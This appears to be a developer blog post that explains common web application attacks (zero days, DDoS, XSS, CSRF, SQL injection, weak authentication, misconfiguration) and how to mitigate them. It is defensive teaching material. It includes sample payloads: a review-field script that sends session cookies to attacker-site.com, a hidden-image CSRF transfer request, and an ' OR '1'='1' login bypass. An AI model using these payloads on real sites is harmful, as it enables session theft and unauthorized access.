Introduction

'Security is an illusion, you will put an alarm on a door and feel safe, but what if burglar use the window?'~ Kevin Mitnick

What is web application security?

This is the process of protecting web applications, websites and API's from attacks. It's main aim is to keep applications running smoothly, protecting business from cyber vandalism, data theft and end users who interact with it. It's a holistic approach that ensures web applications are secure, robust, resilient and reliable.

Common web application security risks and their mitigations

  1. Zero Day vulnerability

A zero day is a vulnerability that a software developer is not aware of. Developers ship vulnerable code to production everyday. An attack that exploits a zero day vulnerability is known as a zero day exploit because the system was exploited before security researcher or developers were aware they existed. It's called 'Zero day' because the vendor has just learnt about the flaw and they have 'Zero day' to fix it.

Example of zero days attacks

One of the most famous example of zero day exploits is Stuxnet. Stuxnet is a computer virus that was originally designed to cripple Iran's nuclear plants by targeting their Industrial Control System(ICS) as a weaponized computer malware. It infected window based computers by exploiting a bug in Siemens software. Stuxnet reportedly destroyed numerous centrifuges in Iran's Uranium facilities causing them to burn themselves out. Stuxnet caught the attention of the media in 2010 as it was the first ever virus that had the capability of crippling hardware by causing damage.

How to Protect yourself from zero day attacks

Because there is always a potential to be compromised by a zero-day exploit, every organization using the flawed product is vulnerable until a patch or workaround is released. Preventing from a zero day attack is difficult due to their nature. However you can mitigate by: * [ ] Vulnerability Scanning - Partner with a cyber security firm that offers vulnerability scanning solutions to simulate attacks to find new vulnerabilities that might be introduced after a software update. An organization must act on the results, by fixing the loopholes. * [ ] Perform System Updates - Keep all the operating system, drivers and softwares up to date with the latest patches and security updates. * [ ] Network Segmentation - Isolate critical apps and sensitive data from the public network access. * [ ] Web Application Firewall - Make use of a WAF to inspect incoming traffic and block malicious requests.

  1. Denial of Service(DOS) and Distributed Denial of Service(DDOS) Attacks

Through a variety of different vectors, attackers overload a server or surrounding infrastructure with million of requests. The server becomes sluggish and eventually fails because it's unable to efficiently process the number of incoming requests.

Example of DDoS Attacks

One of the largest DDoS attack in history targeted GitHub, a popular code management platform. This attack reached 1.3 Tbps, sending packets at a rate of 126.9 million per second. Luckily the platform was using a DDos mitigation service which was alerted 10 minutes into the attack. Within 20 minutes, GitHub routed the traffic to it’s DDos mitigation service which sorted and blocked the malicious traffic.

How to Protect applications from DDos attacks
  • [ ] DDos Protection services: Use DDoS protection services from vendors such as Cloudflare and Microsoft Azure DDoS Protection. These services monitors and filters malicious traffic, ensuring only legitimate users can access the system.
  • [ ] Rate limiting and throttling: Prevent excess requests by limiting the number of requests a user or IP address can make in a certain period.
  • [ ] Load Balancers: Use a load balancers to ensure a high availabity by distributing the traffic across multiple servers.
  • [ ] Caching: A cache stores copies of regularly requested content so that fewer requests are made to the server. Here you can leverage on Content Delivery Network(CDN) such a cloudflare.
  • [ ] Human verification - Add a captcha which cannot be bypassed.
  • Cross Site Scripting(XSS)

A Cross Site Scripting attack occurs when a malicious user injects a script on the client side in order to access important information to impersonate the user.

How is XSS executed?

Imagine an online shop where users can submit reviews after buying. If the comment input field is not validated properly, a malicious user can leave this comment:

Great product! <script>
    // Steal the user's session cookie and send it to the attacker's server
    var img = new Image();
    img.src = 'http://attacker-site.com/steal?cookie=' + document.cookie;
</script>

Whenever legitimate users goes to the product review section, the scripts will be executed stealing the user's cookies that might contain session tokens and other authentication data. The attacker will then use the session cookies to impersonate the user, log in, make unauthorized purchases, access personal information like addresses and payment information, steal discounts/loyalty points and so forth.

How to protect applications from XSS attacks
  • [ ] Sanitize User Inputs - Ensure the input data is properly validated and sanitized to remove any malicious script before persisting to the database.
  • [ ] Output Encoding - When html comments are acceptable, you can add another layer of security by encoding the data into a format that is safe for inclusion as html. The process involves converting character such (<, > and &) that can be interpreted as code to their corresponding html entities <, >, and &. By encoding these characters, you ensure the browser will render as texts and not as executable code.
  • [ ] Use strict SameSite Cookie Attribute - This attribute gives you control over your cookies, browsers will not send it in any cross-site requests. It’s only sent along with requests that originate from the same domain. In XSS attacks, the HTTP request will include a session cookie from a different domain, so the request will not go through.
  • [ ] Content Security Policy - This is a computer security standard that allows website owners to declare which sources should be trusted. This is configured on the http headers (Content-Security-Policy) or as a meta tag in the head of a html document.
  • Cross-site Request Forgery (CSRF)

CSRF occurs when an attacker tricks a victim to make a malicious request utilizing their authentication or authorization tokens/session. The attacker makes a request masquerading as a legitimate user. The main targets are highly privileged accounts such as system administrators.

Example of CSRF attack?

  • Alice logs in to her online back account which has the following url.
    https://www.bank.com
    
  • The bank website allows users to transfer funds using the following url.
    https://www.bank.com/transfer?amount=1000&toAccount=987654
    
  • A hacker, Bob, is aware of this vulnerability and wants to trick Alice to send him money. He crafts the following link.
    https://www.examplebank.com/transfer?amount=5000&toAccount=123456
    
  • Bob then embeds the link into an html image element and sends it to Alice's email address.
    <img src='https://www.bank.com/transfer?amount=5000&toAccount=123456' style='display:none;' />
    
  • If Alice clicks the link, it's game over! Her browser automatically sends the request, using her session cookie and money is transferred to Bob's account.

#### How to avoid CSRF attack? * [ ] Use strict SameSite Cookie attribute * [ ] Use Anti-CSRF Tokens - This is a random string stored in the user's session variable. It's a hidden field that is sent with every request to mitigate CSRF attacks.

  1. SQL Injection

A structured Query Language Injection(SQLi) enables an attacker to retrieve, alter and manipulate information available in a SQL database. The attacker spoof the identity of a legitimate user by inserting specialized SQL commands; this enables them to gain unauthorized access to sensitive data.

Example of an SQL Injection?

Most web applications have a login page for authentication with an input field to key in a username and password.

Imagine you are using a plain SQL statement to check if the user exists the database.

SELECT * FROM users WHERE username = '' + username + '' AND password = '' + password + '';'

An attacker can insert this in the input fields:

input_username = 'admin'
input_password = '' OR '1'='1'

The resulting query will look like this:

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';

The query will bypass the password check since 1 is equal to 1.

How to protect applications from SQL injections
  • [ ] Validate and sanitize user inputs
  • [ ] Use Object Relational Mapping Libraries (ORM) - Most ORMS eg Entity Framework(C#), Hibernate(Java) and Sequalize(Node.js) provides an abstraction layer that protects sql injections.
  • [ ] Use stored procedures to abstract queries from user input.
  • Broken Authentication and Broken Access Control An attacker can take a list containing the most popular username and password combinations and use a script to try to break into the system. The attacker then logs in as the legitimate user and access sensitive information. A broken access control occurs when the application does not properly enforce authorization to a user. This is mostly popular through changing the url parameters that points to a resource. If the access control is broken, a user can access unauthorized information.

How to prevent:

  • [ ] Strong Password Policies: Enforce a strong password policy. A user password should have atleast a certain length and alphanumerics. Also prompt the user to change the passwords often.
  • [ ] Use two factor authentications
  • [ ] Use rate limiting to delay repeated login attempts or account lockout.
  • [ ] Avoid storing passwords as plain texts.
  • [ ] Implement a proper Role Based Access Control(RBAC) where users are limited can only access information based on their role.
  • [ ] Proper Authorization - Validate the user permissions both on the client and server side.
  • [ ] Principle of least Priviledge - Give a user the least priviledge they need to perform a task and nothing more.
  • Security Misconfigurations

This is the most common security threat found across web application. Developers and administrators tend to 'forget' to change the default settings such as usernames, passwords, reference ID's etc. A malicious user can attack this security loophole by trying out the default login credentials, if this was not changed, the attacker gains full admin privileges and database access without breaking a sweat. Developers should not also keep sensitive data such as API keys and database connection settings in the application code. These settings should be stored inside environment variables or in configuration management tools such as Azure Key vault and AWS Secrets Manager.

How to prevent:

  • [ ] Make sure to change the default configurations, change the default username and password to strong and unique credentials.
  • [ ] Update all the application components frequently: Servers, databases, firewalls, Operating systems, libraries etc.
  • [ ] Proper Error Handling: Ensure that the application error messages do not expose database queries or stack traces. Here you should use generic error messages in production and log the detailed errors securely.
  • [ ] Encryption: Make use of encryption for data in transit using HTTPS and sensitive data at rest.

Conclusion

As a developer you much adapt a holistic approach to web security, one that considers the entire system and not a single component. The point is that you're never truly safe. As long as you have something valuable that could be hacked, someone out there will keep trying. You have to dedicate the time and resource to always stay on top of your security, it's not a set-it-and-forget-it thing.


Futher Reading


24Sep 2024

Improving Angular Performance

In the context of web development, the performance tuning of Angular applications ranks high on the list of priorities when it comes to user satisfaction. With the contemporary browser-based web applications becoming more and more complex, the question arises on how to develop application with rich functionality yet efficient performance.

11Sep 2024

A Practical Guide to Building a Microservices Architecture

Although developing an application utilizing microservices is a worthwhile endeavor, it can be challenging, particularly if you're not accustomed to working with monolithic systems. The benefit? Your application can operate independently from one another with a well-implemented microservices architecture, which facilitates better scalability and management